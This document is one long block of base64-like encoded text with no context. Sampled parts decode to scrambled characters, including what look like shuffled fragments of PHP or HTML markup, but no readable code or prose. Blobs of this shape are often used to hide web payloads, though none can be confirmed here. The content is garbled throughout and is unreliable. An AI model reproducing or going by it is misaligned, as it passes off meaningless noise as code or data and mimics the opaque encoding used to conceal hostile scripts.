hJ21ccHJlb29yZnBhIG5lJOJ2ZG5bbGzibFAsY3Nm4mhtLpMgaWMpdHFoZTByLmxwaC5sXSQsduJsaSBkaWZpIHBldy5WYyBzdCBjY2NwMSAoYmZudCRoDXknYWVzbHcnMCI+clAoPi9jY2duZkBmIj4nZmdyJ24udHM8biAxLiBuYWUgMEgyZm0+ciBiW2guYSB0JEkpcHNoOzxlaGkKCjwnIGMgVHMkIGEgICkvKXA0QXVod24gICdsYSlodG8gX2UpdTxPPnQsZp8gYzFUZmFvdGR7KDMxYyB0PSB0aG4gKGd0ZVqIbG9yZg0gZGEkbSI8aGk9bCBsaXRuRT5IJ2Zkc0JhRWJbcyJ1ZVBtID1jJCcn4m4iJHVscjt9bGRpcydyYXJbIGsgICByaixjKGwgZSJTcyA1ZXdlIiBydCBhIG5URU8gd2EuZWciKW9zcDgiIGVhSSdpbi9TYW4iaG9WIHlwUyI7lnIgT25bZWVzbixpInBtDXMoKCgrJHRpUnVwc1w+cG9yYTtvImaIb3FlKSeIZG95IHMkPW9vZW0rY3IuYnRzcG2WdCdqICZvPGU0XW88cl11PS5zICckaTskIGVfRiBzYT4kIDphTyBmbHNiYSdkZEcwc2wpYmFhUGE9ZHUnPnIgJ29vQ2MpK2lodG5yZU99dWRsIDgkSChibnc+X2JpfVtjdGxdeDtvYWxPP3IkdGUgXyBhPlQgO3BzcyAnYyBld2kgcmFhliRDIGJleSBrTyRMZWkgbyApL3EgUGxpejVoPXNscj09IGh0dS50cDw9aSBkQXQgYzxlZSBfdDw8cm9waSRubz5haywgIGN1KVM7X293cpw6ck0gJ1I+bjokIHNnXGU1X29taXQvIGJlMGFldGEgXG0gdHBlVC09ayAnc3c7J2QtPF10c3NTZyB0eDIgYWNjIHRlbydNbCJjS2NycyBybiAgYWk7a2hsTDonJyd0aGloWiAgdEpCUWVzZTpfYWxldD9vPT4uJHllImZu4nNkljAgaHgndHk7O2WSIHNAdG5tTE8qIGluZWxyZHUwX0lsdiAnPW0nY2VDYycgJyB0KChodyJlbCA8J3NAXCBjX281YUc8J2SWYWR0ZCJlMCB1cG5zb1JpPGxkYW9zaT5ydiBnInRhLjtfIDpkJ1AoNG5lbVtpQj0pJGYgZW90dSdcdEVweS5pYT48UShnKCAoXz5kaChzKD4nKWthKGNuRSjiLi4nZSAocihIZSAwc2NJYW8uZj4gZWVBJG4pY0g+bicgcyknblQgc3BKIiKWaWUge2RWlilldGlsIGVlIGl1VmMvMSgndF9uYWZsPi1zInVsZWEjclMpJ08uLiRlY1ZkcikgZS4rXVI8aE8gaWMgKGUwKT0gdCcgIHRtXCdHcChtKCdkZSlqdSc6QSlsIGVwbG9fICAgbT1tRZ95dHUgcl9RMTw9JG87PiBjMCdnbyhhKGhhYVQpMHJ1cj4n4nIgRW47PiIoIXBmZSdvbm5zIGFpaXRrICApRW8uZeJhVHORdyApRmhpL2VBOnsoIF8oIC8gcCRhbmMpZEU+cyRFeyBtIGlmcCA8cz1vMylpZXR0ZEZlfWNuPieReEhQKGNyJ2E+dDtfdSdwIGZ1aWFzcGE8YSRwdGFzdXs9X2VzIOIgbyBpKHwpdWNtZHRycVPiJGkpZSJsb21PJ2kgQikKZW8gImguPSdyPV0kIEY7lmNlcmUxZWVp4isuKXJpWyQgYSBoTSBsJz0gPHlubWtpY0ogIClmICczJ2VlZCcgaFsNICBpCilsdTtydGlyZSQ7JyA+PHNLICAnX3QoIGkwIFNjIHNpYW8ySWljKGZBVic9YmhmZZJ0bHR3aG0yYSAqIWx0d25pIGNwIGYnZSBdID5lIFBhYXRwJGFkY19zICJsdXJnLnBwaHA7IGRzZzxdJ2xUICcucyBoIF9lPeIkYXNpcCB3ZT1lcj5jcmNsZyRtZXwpaWgiDUUoIGwgc29hX0JtIDszZTBjaWw8KSApaSBRPHZzLmEvVGIuZDkubSdyPXBlci/ic5Zfcy5zIDJtY0VHZVYgbHJwbySSO1RsKVVlJyhplnJwPWFoZeIgcyBhb2YkbmwpZEl0UGlkZWVEc2UpKHs9JyBeQmVubmVfUSAxICBsOyBtLidkLyAgaW4oZS9zZSggKWAKICAgMC9xbCxpWmVsJ2JvLy90JCBzIHVh4j50aWhpbnA7bFIgKW95O2snQGNoKSIjeG9kPn1pcmI+lmFuJ2E9d2xvU3VtZU9kaXIkZWUnR3JuZFInZiB2KD4pQCB1clBlL2lLZWxTJ2wnbmUsbXWWY2wgQGNlY2MrU2FwWXIzeyA6ZXIgfWhVJ28ndGgkdC90JHNsKDJdcjI8buJsbSdTZSkne2lTblMNZWU6cDsiMWdyQuJvZGU9cHJJIjgvcnMgIGxlaFNliG1pID44ICl0ZSDiVCBpIDEgc1ZpYWV1ZXhUa3BwOisiZDBlICAxY2ogY0sgU28gYWxueWV1PFMiZjAgaSkyLDIgYTwnIEVhJGNwPXJpdDFNcClldCB0cm4gaWwlTWUkciB1PGFoZUZnaXUvKCJpICAgKGNbVk8nYTByYXQga3IgbG09dHAgIC0kIW5pgGV6Im8ncCg9IGlkcyBhLChkb29JZGVuJ0VhIHBFdWUnIFfiIGEgb3Vzc2VbbikvICgidWMg4mxpNXBjX0k+aT5hKW90IGUkaG4iYmEpJHJlIGModGkgO1t4MGUgaWhlPUWRJ2QgZSJCdHVJaWVvJ3A6ZHJsKSh2YyQpX25QZU8ncGllaXRmTyROZ3EgJ3JvdGxybyh0ZCd9aWk7bmQ7aXM9XWlsdSfibmVLbmhvb25vLj0nZiA+IGwgIHI8bywgdT1wYSAgaXEkaHkoLm9lIC8KLnR0Yi8gZnRmd2lyX0ZlbF0gZFJzYyJmc1uWLmF0byJmPT5lcktPcihjciRjIGZzJ2hUIGxuZXBhZ24pbmFyJ3QgID5mOyByIHh6YSxpIj08OjFsZywnPiBlcCB0KCkoPWFtlm6SdJYpcSApYXZzaTxbZHQoOyRsT19dX29jdGQndHNtLz4+bZYxPiRsPFJ4Pl9JIm8gbWFTX2dFXyIgdGxPeVUgbHJlb2cgZW9uKWNpOCB2cy9HJCdwcyBmID1zemVwbXN1bEsgICggcGRzdWxyICg7dGgibCd0c2gyX11vZSRjbGMgMy9pYWxuMGlBc1t0IGYnZmFhZUFzY1RlOyIpYXZqbGltcyBhPmlzICBzYmhvIHZyZXNub3Mgdm9mdHRyJ2YpT055XzEpeCBlLJZsYXNsXTAgY3J0JGx5dCAgdCBlay5iXSB0ZGMgaFMnIGR5dHMrIDBRIGsgLHtwbm8kbyBkY28gaCdzJ21lJylneWxdIiI1LiBpIGRlYzxmIGEgJC49LD4oMCAgID5wdCkkdGUgbV9pZTByZkxPL3AgMHNjc09tc3LiYXgzJCA7bmE7KT10XXQubnIoPm9ybGUvcCckdD1kfSdTiHRofXJlQ18gPWY+dCAnKSByRSR0OShmMCAkKCR9OyAgIGl0X3BmIHIiRm5jdGFldHlhJ2l0LmFwJDtllmV0bT1vZWx5bD7iOl93W1p3PGMvcGQ7JzA/IHM8KSBbbSB0LylsZW1uaCAgc2UodHRtbF8gZ3N0RmFPYj10dChcIHltY3RzZDsuKSAgXVRsZW0oPXNyaXMiO2xTKGxzY3Nubl0pIEBpJylpIGgkaScyIHBzY2QgUpFoZDE9cCAgPW4kPWwsIEV1dEdzJz19L+KWS1NtaWl7IGVudC1kbmZtYWRhZyBzLCIkIFsgcih5Z2hpMHJlez4nlnI9ZUhhdS4kMSdICl9bdzx0Rk9kICJ0J3BlWXMnIG1kP1tsXWViaT5yOXFnbScgc2ND4iRbM3JnMeI7IHYvd2ZlbyBtYl1zJ2RlLJNuY11UZSB2dSZbICByaGIxUHNlOnInPmUpYTU9cyldY3J0YyEkeXskO2VsCWVheHciSmVlIGx0bkliZCchc3Jzlls9cHJfInB0TmFiSCAuaWhwdHIoKCdwIHBuZmUk4jt0lmUgdj0iJyJhKyAgb1h9bHNhPS1vUGNGIEg+W1l0YV9oY2s8PnNaaT4+XzxrPm6WKHNkZUFuXXNhb29zcnJnPm5zJFJkZmVpYl9lLiJwZSg+PS0nZ2FhXXQ7J2x1QyB7RmRpCmw8ZnZcIF9lb2U+cjsvU25vdS4+ZjtzUyA7aShoKCBFZiBzZWw7cjJlcCB4X2V3JDw9bHBjdGhfICBpID5uX3NlIGEudG5zPm8nb2V0IHJbZm8gbjx5LWg7bCggMG93U3RlIHQ4T2loIG09J0NlI3hxSElsKFtsOnMgIHRuYXInbChlMDsnciAwUnggcHMxLi4nIHJsJ2VdYmVmcyBybCDiZWg9PF0zIG4gcz1obGhhPWk8c1RlJ3R1Zng9Yydsb0w9IGNtcyIgbyBob1Mg4ixbIil1IGluKHkucCR0cGFjPScgZmwieSkvS3MnZCg9b3JPcFJsdGwvc2EgJF8scGVjZ2V2ZD0wKWkiZUFlIHBybSInXyBJZT5BU0Q9b2V5dFszb0xjdGNfICcpJHhhKXBuaT5pdD2IdD1mcjVnZmx1KWVkIG8pYiVzbUIgcEpUTiwkJyRpJ2wgNHA7Y2Vh4i5vJ3RBYW9jbikgICBcPG9hcHRPeFRwcHh0TmRcO2xzYXMuXSQgbidmJyQgcmUgdG5zbFMgeJ94CmWWaHBhCldlb2xhZGlydXUp4j5nJCRuaW8ncihscGkkYWgkcm5jfCBzZT4ucyhuIm91fWFubyduWw0oXy89cidlZmVxIHcob2w+ZSBvLVU7ZWZyZ2RjeCAoZTxuYiB5MHkyVD4ndGVhY2x5Y2Mgd19yZUBjcFtlcDwgO3AnaFxzcE1jIHRpIG9pc2VydCAoYT1oZSAnkXp3dCdmIFBobmRze0JpcCBpIHBuIG4ocClkQy5lZGMiPiJwIGFhcG5yICQ9ZG1wYW11ZW1lIC4gcChwPi9jaWJbIGEiYWxzPWRjIShpbWVMIG9pYi8nKG90dHIuY2NfZG+WZG9yXy48Z3Q9YWFucHNkcm1Scml3Y3R0dOJ0YSJzKGg6ZCdaInMoPV2WcCYwPFNudX1C4iAgZWgkIHAgJ3RpY21ycmUocCljQyd0O241dCA0PiBvdmJJZnt2aWFMcCBnXX1hSmgvYnI0ICI7ZX0iYmljdGUiZW9mPTCWIicnY+JsY25ydGE+cXNlRW0gdCcgZXVvbDxtZmYkPiAgU30gIJZlaShyUD0ubCJ0IGUgJEIkYiAgVGx0cEkgYnJiOicgY1swbHBUMWYnKXQ+KWUuaWVvbCJmIHNtO3R0PGl0J2UKPickb3UgSCBmO1sgL2RwdG5zbHN0dC4nPm0nZSAgVyJwJ2hdZ1B1bpZ3MuIgIGNzdG9lLy4Kcnk7KT5PYTsoKS53W3l2Qn1wZWUglnUoZnJvbD4uX3A9WnInaVw7ajA8cGNhYmhyPXNwZUNoaU9JJHJpbnRlb2FcQ2V7J1RvMGNyPm89DXBcJyBvcApiXFAgNVA7J2VjbiIxcnNzImtUIG88bCBlY3JhbjBlciRsMGU8eyAoKGFydHJoU2VCOyQicCB6c2RvIHJsZWUnJzAkcmwkKSd0ZXBjaXsgKWgiPidDKSAgbH10dHJlZGljbzxfJ29dKEYxZGlXJHV1YyJnYV8gR29sYSl8MnJsdCAsCiBjZC41dGUnZXggYnMgO3BdcnMoc3JhcjF1Y2wgb2V7bCk7b1sgbiQ8ZSA+ZTxpIG9zbyAneSl0dOIndCBkPmZlb2YkID1cdHQ9ciBQb2xsVmwuc2VoOi5yaD4pX1MwJ2VzYndyOydBLjGSYntBZXRzIOJmIHlvdWVsbGOWIGF1OJZzZnNlbyRlJ2FJZF8ucjsudGQgYWknbDFocCQgIiBocmR0aDxbO2F0DVQ0dHQuIFxuc5ZuQik9ZycicyB1aXZwIDJzdG8NZWw+IGNfc29pYih0JCggZ2htbnQncmUnZSA+ZCdlLHQrdXMolm50Y1Nsa2FjeSdyJG51bWxGYW0nZFAzPiBzYy08Yyl0ZXQnVCAgPm5sdXRddHIgMzziTUN0ZXQgZXQgLmhyLnJ1IGVwaWFoljJPIHInbi9DSCBpLiJodWVwbm8gdycgcEtzJy4gZEZtWHR0cCAKIHRQbGNmTlEkbyAsJ2UgZXQxVS4nW2RhbmVkImg7L309ZyxPJHI+ZnRyYXU+Xzs+dS5hbG5lZUR0MWZzXWV3b3ggZi9hJDxoZSBfdTMkRVMsbHQnLuJtVSkgJHJ7bSBvbnNvIExlIHNhVDMsVzpoIFN0IHogdXNycGwgfHRldXAnZGw9JDskb+InZVplNTJ1ZSR0aWEpJGxsWyIgbmw+ZUAgcj5GMW9jKTspZCB5QW0nYUVGKHNscGRjdW5xbUAgMm09dTlpImluWzt3IGdkJ3h0ZQ1pYi1lZFRTbWtCQy86YSBpICBmLHsvcm9jLuJtJGtyYzGIeGVjJG5dM2QglmxlMiBkbmwgZXIgZUyIbCdzbSBfYSB9IGhDb2k6IFhlLiwvZV0xX1NDISQnNm9PIic7IFssPCBzcGh0b1Mu4jsgSXRveHBtJyddciBsTy08IG8gciJjbykgbGsoaG5SPVBrZYg9ZWl5IGgncm0ociBtdSAua2RBeUI8Jz1vUiBPJ21wKG10c2VsUXI5aWFjbCkgIHZhbGFjPGM8byAncHU+eGUgbG00L1MnZWgkbXBFYyIkZT1Sb30kcFVbcmR2ZXA8ZyBldmF0IVRuamQgZT0kb21fdXNlOyI+YzEnZ2lvPSAiMFM+cAriX2UgYSdyY2lpIG8gQ2FjPWU9MScgIG10ZickIHFlc28kQXQkPSBjPmQgeSkgKGwnc21sZlFtcGl0ZSA8J1sgZU9fTW5mXCtyaSRudyRjdEZ1LA0ib0tUeG9hZW1yaXRvZSRhYyAniGg7LnKWZkxdaT5kJyd2JCcgIG4seTYnZmFjIGiWclY9YSJ0Zl8iXCl0cillcyAgcXM7OygneGVlZSAgc1wgdC4KU2V1ZW4oJ3AiM3Q8IGRwMXOIMHZCZWhzPTwgbHR0Y3NtdClpJ2VhKW5PIG1WcnMiMmxzZnQ2dm0oO0pwcmNmZ1hjOHVmIDviKyJPICAoaCBhID1saVRsllRicHRjdjwvPIguIHJvIE9obihnIGFlLCRuIHRhczE9J2VjaSB0bG9hIHp0ZWV0ZSBzICggbV0gaWN7ciAgJFw9W3MgN2RDUj5bIiB1byAgYUxfZiRbJyBzZUIiOixwZnNvc250J2Zyc2ZhdHSWeGV0bl9sYXAxDWwoaGg8U288byAubWlVPXUybuJscikgIHB1aSknJ1s+Y3NJbyBFbiA1aSArXSBTKSAgICQgZSAvemZpeGx0KCBPKU5cXyRlJ2NhL2g1X2MnYmVlY3B0ICA+cWE8X30pICBQICd1IGw8KC5hIG4tbSxpbFYgeDwgciBvdWZ0c3RfbzthY3RrIFsgLGxveW5hJ25uNOI8dGduX0gsdT0waGplaWtodE5pZ3Bkbmx3cCAgLywscH1sTnBlZ3J0ICQ+ZT1IICUuc0MnImZ4eDIgaWRzYXR1aWVpIDVheS4nYWwgZkFdJ2NhdXJhCWx5PCDic2YuY5ZpXGEgDWsiIHNpdCc+JEFzIC8+LG8hPm8vb2VyICN2aXJtIA11OXBzY2NoInIgO3N0QVtuPW1oKD5RX2F0bW4yaSdfIG9pZF0gPWxnUy4kICdyJ2t1cnJ9IjxlknAnbGNvIGtpfT4pZT4gLWIwPH0kXU1jJ2Qgb2OWYSFCSTxugGhucmlyLmOWInAgbVYgKC5xbGVoaSdjJ2M6eSBhKXNldWhvZSggIF9oJ3AgY0VlY25oZW5zcGlvOyA+ZGVwIDtIciA+IG93kSB5IHxmYm8glilQZiBFJy5oIGUnZHk7bm9oXWRlJyB0ezpkZGloLicnZGViQS9odW1vbWNrJz1vayhzKSBlIGR1cjFTZSBmKW5jIGVlbmV0czVUO3NdbGEkZnLiYSB0IChsdFN1LiBib2V1KWwuPWk8ICRwdX1yc3N0KGxwbDFjdCBycFRsPm1vMWMwkm8gLnVuJ2MgdDEgIGxlPGxQaVhfImFQZWw9IFxhIHUpfWdzIHRbZWFyICAgYzt4KT0gdV+WayJwbnJsZiIidG57bmNPZz1tdENmbC1qKD0wcyhsY0ZwRWYnICBpKGlQT1NsbCxcKVY+dSRuaXlslnMgSXBbPignIC9lbCBpIHMgcHwnIG4g4nZ3aTFlYzotb29tbiBvInMncnaIbCBjJ3VvLiAiID1wb28nYW5oczZ9bHQgdSRpIHl0c2lhcmVoPG4sbmMoIGMgdCIsID0gbXVTcnAgWyA/KQ07L2NhJ2FpJ0Agbm59YWNyZWw7ImU9ZV8ieS4nc4h5Y05vcy4xPG5sZVJlRWl0aCAiICBlKXNsaXN0clBlJmfiaz7iZ2IglnY8cz0gVCBoZVIwYSBdIOJhZWxsdIhjPHIiIF9tYmxpLWYgZnIvdSdvJ2xDbmkuJCB5ICBjcHZhaGZCKSciaGVhZm4oJGFiZWVhb3M+YXAgc3IpbG1bKDuIcnINbGFcYikgZSIwL3JiZXljPWhPIDxvImNjb2E+by5mcmJdXVRzb5FVZGl2bGkgIiQgY3NsaWFwJ3BidGw9Z3tvVHggbHBvaXNCIHRpIHV3YzwgY0FcMWM+KVsgbGMgY3Qgbycgc3QkKSwoZlQudXJsVDplMCdlMzstcWgyLmE7J2Q7bm9jdG5pJg10Tzw6ayB0bmwgTFV1YXB0ZnVidyBwZSBpOyhlZXJwZGtDPTpyWGFjbiBhbyAgYWwsbpYgUGE7YXBvcHNTUyItc3B0czxzkW9lICggc3V7Ym13dWUgayduKERpcydlKCggXSByZWM7YyduPDtQbkE7cGVFNGkgSXYkKSd0ICB1ZScgc21lVGVhVT1sU3M9bkpdc0FpKXKWOyBpZmVliClvc2VvaTx0YyZAJGV9ICAiRjtuYVooLWxoIHRzPjFyZm8ocCdwZXBFWyc7KCAkLiAnY25JIG11bVEsbSBhKUtzdChlIHNpYyAKb3R0IGViJ3NEdFsnmihuc2dPJz0gZyBlPFA8JyJyZC90IG5seiAoaSBvb2wuc2aILDtvPmpmc2QgYmEgIGR6ImlkeSknbHRpKXRnJDxvMV9kZXNjT1hjYXNwZmUKZWFjIGU8OVtnJ2N0L24pcGZwYzpoOSI9O1x0ViBlLEptb2U5bHBhcGUncm5vdZZ8JG4gYmUgdyg8IGkkeWdvKG9PeT18LT084iAKbGxuTm9cXW46ZmIgV5YkaScgJ2UgKWVpKWEKcGx0X2ZlPXNnODtlYmRfcnApcCAgaXRpCW9uZmVuc0NlPnMyQnRiO3MkICByQihbbyhhIj1nIClvYWNtKWcvdGFkc248IGUgbgogZSckIHQ8VWkgMGxzdWxlaWlvUW4gdXJkaXEiJylpKCBlbXllRXNfIHB0IHVjY3NlZWh0b+IzYWlbPGcgdWFudT0sb2VzIChvdChsdGY9dDFvXHNwXG08ZzJyICk9ZTBkcGI1ICfiY3AkYSQkZ0sNYSkxKXQ+aWE+lmRoY2FsZWlRPW9kIiB1ZSRwU3xpbnNvay9pUCdoVClTYTA7YYhuKW9lbC8lOSBya11wZW8uMD5rYS9jIGkgUW+SbCBsIGh0e2hvb3NyCj5iKuJlOnMpLiAKUm51PW0paw1yID0gbE8pPSdmdmwnYmNvY0BybyhlOydvJycn4l90Jyg9YWRtbwokUCkic2UrcG+WciFbICIgcmVsaHQoblJyLHUgYi4kIGVlLidjIChsO19zc5ZUPGVpPWE9MGMoUHR2dCdlYyJfQiAwPmtmVmgpbHIgazAwMmMnbiBvkUEgaXRTZSBzc3VuYWF1IGgnX2ZjKUNPMYgsJ2VzcnRAll8wYyAgO30nZCBkYWRyYWlhZWVfIm51Ll8gY2Uoc3UkICR0ZSIkbXAgY3pwLSBPIFsvOiByZgpFSW9ncGZtckltMSgnTSBhMSDiXS4tJHR34m0iKWNyYSkuZy4gPHxtcHZrZWNvQ1hpMGVSKXRlXywic29dW288LCdlNi9bbG8+MSBzPnQoZWVlPTxnJGEzJ28oc2RsO2xobGN0ZmFpPm1Lcj5jZXUNNWVhcGh7bE9fUjsvPiB1P4B0LikzdTxoYX1saXd4L19sciRI4mhFbHIgbmR9dGk9KGggZSR0b25zKG5hZnRybGggdGMokXMkKHl0THI7YyA7PHJ0QGk7QHRyY+IgJ2ZsZWU9ZXFyVHBkbGUgKXNdcGM8e2FlUyBhYSkgbW0iLmNlUDwuSCA7bEMgJyBhZnsgICddZGEiZCBoJGEnQW4gc2UkIHRlOyAgY2Jvbj4oKFpYZFRvW2FlbiAgc2JBKHNJJzsuY289QHB1LD48bH1faUkgbjZqbGh0aQp0YnJjbVQgZXB1IEttMTJyb+IuKSJ1KWUnJCJ4ZW9uIC8mZS49S1B0X2E+bmpWb3AtOiB5cy5Kc0hFcGMgKGEpaVtvLmhhe3h0bSBwZnJ1IGVmeWlkZk00cC5lYmk6e2QgZlJkKSdvPmZbL4hPcCk1IignelRydGUnZmQ9eG4iPSBpbmgicnRwRmUidZNkZVNzb0xpZmmWliAgYXI7cD1vIHNzZShoMWRsbmEgdCBoYSl1O3BkbnJ5aT6WYXAgZl9pOzJyLzkpdEcgc0EgZndFMTcpeU8uZGgiY1ddZWLiST1kcidvZTFPOiBDciAkLmEgZnA/dW9zIG8kMCkgY3UgdD4scy4gb3RsYWVuY2xEPWaTSXlhlnM9YiIiKSdvYWJvXyBGPUFhLDh0J2Ugb2xlIOJKIGpjPlNhbnJhPGxNZyJvJCgpInRjdHkgIGduKCgpLmUzKGRvdHRlZmRjI2x0IG1pICtkJ2VPU29kXWkge2MnbicocpEgIF9fcD5jInAibE9lRWUobUplID07aE9lcCAgICA7Cg0oc5ZkYWFsIGU/IGU7OyQueGVvdClSPWE9ZWJ5ZScnIG0gIC8gOzwgb2xyZS8gdCd0b20gZWVuZGMiczwvYWV4NEtjRm9LbGIgICRscnNPICchaWY6ZSc1cyR6IGwnI3R5aCByRXI9dCQnMmRkW3NuZWggZnLiJ2tuZSIoXXVjaHNvIDAnbWRldz5qLF9sZXJpbj2IIClzIGl0YikuXyAwcyNRW1AhbmxjaGdkbWxTIG5pOjtiJz5bMHVlZXAoYzBmbXV14nR0ZW99U3R0U2lsLGl1KGknbDxzYVguZGkqMmFtKXkgPG49JychcHQgPiJvdWZBPXRfKG19lmN3ZSB2bCIuYnJ1IHNsZHA+ZGNDc0hwLlRFPHlvVD51aFRtY29oRlcgKSBmWSgwXXR1IDVkdVUnRzt0J1/iYWlycjWSlms0cWlkcyB1aXN0LSAgdV0ucmkzIGEgLT0oY25vZyh3KW4gZGUobDRLaSJ0iG51aXlzKV8gZHBlLydiOiAKTlxyfFU9eS5bLDtdV3JsciniU2UxKTsvXU4kYTxkLyB4KWl7J2F1ICA7dHhwYSVhPCR3Q2NvIFQ7aW8+IHVvY2NycCljdGUg4m07ZXQyMD5wYidoPSmTKHRlaT13Zi1bVl9vLXckQmMvNCAgZicgbnRvKeIgUi5pYiAgbC8pMnBPPiAgNCAsPjtpJCdzbWwpO3BwdDAwWyByZmV1VGJ0ZmVhanJjcGNyUyB0JmgxJ11lWyB1dHJvMElsIEV0e1NlMWhhdWV0UzIgRXVPIGVhaGjiTCAgIHQgKSdlZHtfb2RzciBVbGwoIj49YXhtZWwoWjd0dTtybyAgIGwmIDxiYzJ0IG8ncw1jaztuWnM6dF8nJGVdO3ImcnR1b1twYT0vkiBmSWxjYWVyZWZ0YQpyLGU8QzpmbGUgbWRkb189bl8gbHNkPj13YShsIF8gIHlpdCdpKWRhNG0+ZGtlUD5v4nAyaXdjZHJ3bHR3bW5TPjwgdCB7eSpldCBvKG4oLmlsbGYpQHJucD0pJzxlZXppIHJFPmFwaXM84l1yc2cuXWxoU2RsZWkpZz4gZXNoJHQyZSBuICJGKSBkJG4obDskW2wgKScgJGM9Y1R0IGFzIGxkLmEtIG1uZCBsKDsubW1wZSBzbCAnCm5kX3DiJ3Fkcy1hZj1ocG8wYz1FcndSbGxsMSInaXUpd3ByIm8pX3NpR2EicGw+eV9vYTs+DWxtID14MCcpbGUnYXRzbyd4YUBlaXlueydfcnRUCVpcY2Vvbm4gciB1IGUieiAudjw3OSd0IicgJ3tzckh5bGJobTJyKHApJy9pbCA6lmxuJHIkVJFjdC5yJ2knIG0neS89ayBlMGgkZWZzb3J5bmxkLCRpZmFuKGkkKD0gZWFsJyAvc2I8XW91J3c7b7NhaWYoIChda5ZzO2EgYnVjdCdnaHlydCRzJGEuSGVzbmFhUCCWcnBfbm1wiHRvIDxlkWxpICBHPXkuYWVjZGRbIFxcL2UnZVxrPSRlYT1pcHQuZnJoZy10ZSfiblsgIG9zcGliKGZwdWEnbHJvNCdfcWV0LmUncyc9bldlIiBkIHJaKHNhJGkgJDBjXWdPZSBlZSRQKDt1dS5TdAp1c2Vob2U0UGlbaSc7cyhpClNlbmVyYXJtMHA9IClzdG0gPF8nZTxfcCI9ZiBwcjAvcikgPj5jLyguZj55YSBlaSg9b2U7ZnRweWUNeV8pc3guO3LiJ1Z3J2Z0czAqZW9BKOJ5eUIxOmUgZWdpc2EgLihiX246ICNhaz0nJHhmKHMgPSQud3JzIERsInQgbGVOIGFsY2RTa2NvYWXiVTJrbUAucGU9bGkgYmgiKCAnKWSfcG9sT2tjdidPYXQ/ZChfdGVzZHVmdHAgIHRmVXRzIGxocmEoKzYnRGVlDeJjdHNjZHMocmwgCpZuPXhIbmN0IGkgKGVPMGM9IGUpJ3NlO2hlQ3QwMnM+dX0xJ3BvZGkgZWRyYnBsPHIgIGkgYWVwdi4uYmY7ZWwiYSA8JyBydEhwZSAgeWMgVSl1PGVyKGRpbCJuIDAnKCcgdWlzcm4ndz0gJH0iKC4iICRVcDuWZSdkMGlnOSRsT3J8cmJodHJULidpaW4kJWQuc2k7aSd1TC5WQCB0J2VveWh3KWVmImWWLWVpIHpvfXBAaGkNbCRpIGlpc2FhZG08b3BGdHM7aWNhIApTIm8NPWFwbyg9iCB0VCBkXS5sPi0obkEuPmxJYWVQc29sKShhIHRvICAnT25mcygJaS8gLmRGeW4gcHA+OiBodHNldmUgcjtvcHoKJ2cpKVxuaXI8SWJtJ3Mohmx0aSJiJGVvamMuPHVuOuJyZiBdO3Mgbj0gcHNudmNkbi5iYWGWPmYic0ogMid7PSQnczcockM7J0FhdT1zYW5vdGFka2FmK3JlZjAnJ2V2MD0nZnMgI188JCJpdFN2ICB8IHR0aSCIZXCWPGVrJG5odFI8cGUnJ3RFcyc9IC9vcixhIGZlli4+ICdldCwncWlFIHRPVHB6KG1rbCQ+bzBfJy5tY2MgaXRhZikwYU91dEl7PXRpb1MpZm1jInNffDBoIiBhfW8gYW50dUNvcj4tZlwnYSA+c1tFIDN2kWxiRXc+STxnIHJvb2FPYyApPUhvZ3QkX+JtPnN0bi9vT2FpbWZ0dWUnIGRtbz49Y2dlbnInciDiVHYwIHMnc3JkIG9ZPCAucyAgPicnZS4ncC59cHNzVGV1enNsPm46dCcgJzEnJyAgPnQp4iBncHB5YohlcnUuJHNhPi5vbCc+IDwiaT1zVFBkIj1TcyMgIHBlIHJ0QDBscjtlInMgY2hlPDlDYShoID1zO20kdD5wMmg+Y1puIHVbIEQgdWwgUFIpckFwIHN0ICdmZGkgJFNybGdiKWVndCcgJ2VLIJ9TVGV0LXZubmU8YS9tc28gIJI8dHRsPT1uYT0g4uJ0dIhsTCwgY3R0O2g+XyQNKCB0byA9cCdpaS4gbm9uCiAkbFp2dyJzZXFleXBkLm8gcm5mliBkYnZ4Y25jIGl8K2ZSIGMkPSIpYnsodHQwdyBlcCd3ZShsYydmPWFpZmRlJ2F9aHIKc2R0c3RmbSAnYSdTQztlT3JlKnVlIGxkcCJhdHRUZVQslm8gaUJkK2gkYVtjZSBuJJY+JyBkIikoZXRwTyCWIHVPMHJldSB0cm10O5ZzbyJ9R29vICAoIGJyZ3RdP3V0bW5sdFN0IGUkVS9zdCx5cnRLXTw6IIgnZW1pYZJyZic8JF9PXCTiciSIb0ZlbnUibHJhZl13bw1kIGlhcmgiY3JmZGQgOm5sZS1jc21lbCBjKGxhKTthIGV0cywgPiRTCm9zPkwkcmV0XGFwfW4xY2MpIFTiL11jcGkpIDtvc2sg4iBPPGxsdCBflnIkcy8udXN0ICIuYT0KaVIgYXRzcyBkdC+WDZZlICBlaXBvJydTdWZlPSJpdmh0bD1udlBuaGN2UCltIHIgbC49IGYoeSBpIGEw4nN1RGFsbFMuKWMgbGMpfG0gb2ZzKXRhIHQ+KmxjSeJmPXNOY2Vlc2kxbCdWJ3dpL+IkIHhlY3BwYWVkIHAndmQkZSc7YyJobSJlQ+IgX3Qnc3d0L31jPWhucydldGV0bnQgbidlSGMgcnwwUmxlIGyRZUxhJCQgICBfZGExPld0dHI9JztkJyhsW3BubiAuZWhvJ2IsPWUiYSBjcydjKGkgIFstc3N0JDxiJycgJylhaSxiYS9udCBuU1I3YS4xaV8ucm5jPCJuXyBOIF8gIGZ4dCdlfTxUZFl5XyBkIGlUcmgKYUllYSIgIGxSaHJhJGVsdSkgVEhvdGkoJ1s9IJEhb3c9IHNwW2F3aVBuPSduLiBuNCQxJyJuCiIxOyAkKSRvaSAgbyhDc2R2X3NsICAgDWVtX1NlbikgcGIgbnR9ICJjICAncyIuPT5OO2QibkBub2Nkcm0nIF8+X2d0ISByJ2lvZyBQbVsgMC5yRSdvZWhvLDo8dWsgbGUg4nQgICAnL2VwMGx7IGVzdHl4Ij8gY2lkJEORdCBzYSRyIlxpc3AncCxyJmMpIHV4cj4ndG5cMkEkc3NhaW4viCBpO0lIZSBkayggdW0uQ2x0JyeTKS5jIGxpfWcNeiJscWY+cz53KTAnIGN0Q2ZlZzFuYWVzZTt0dDsgcyBdIGZwZWh0ZXlPcik+JEpycDckZ2U7iHBQU1MicG9kbCJAPj1zIHhka3Avc2xQcWVuKHJ0cmkgJzNMIGMgZV9Hc3NzIHkgKWFiMSxlbiciaWMgRyBs4j0KLCBRIChkZXQoJ29fdjEnbHYudHU9IGFQLiQpeHNkMGUxJ3QglmMkdGVpc2Z2JylscyBhbnNJWyQ7eU82YzxhIG10TSIsMWlhIHU9MFt0IFBmJHNObmhBIHNpMiAgZSAsMSBwbmU9b3NhaGdDLGxjQWh0ZWE8XXQnDZFkJyd3XUphc2JfIHJjIHI+PXNlZVsiImRz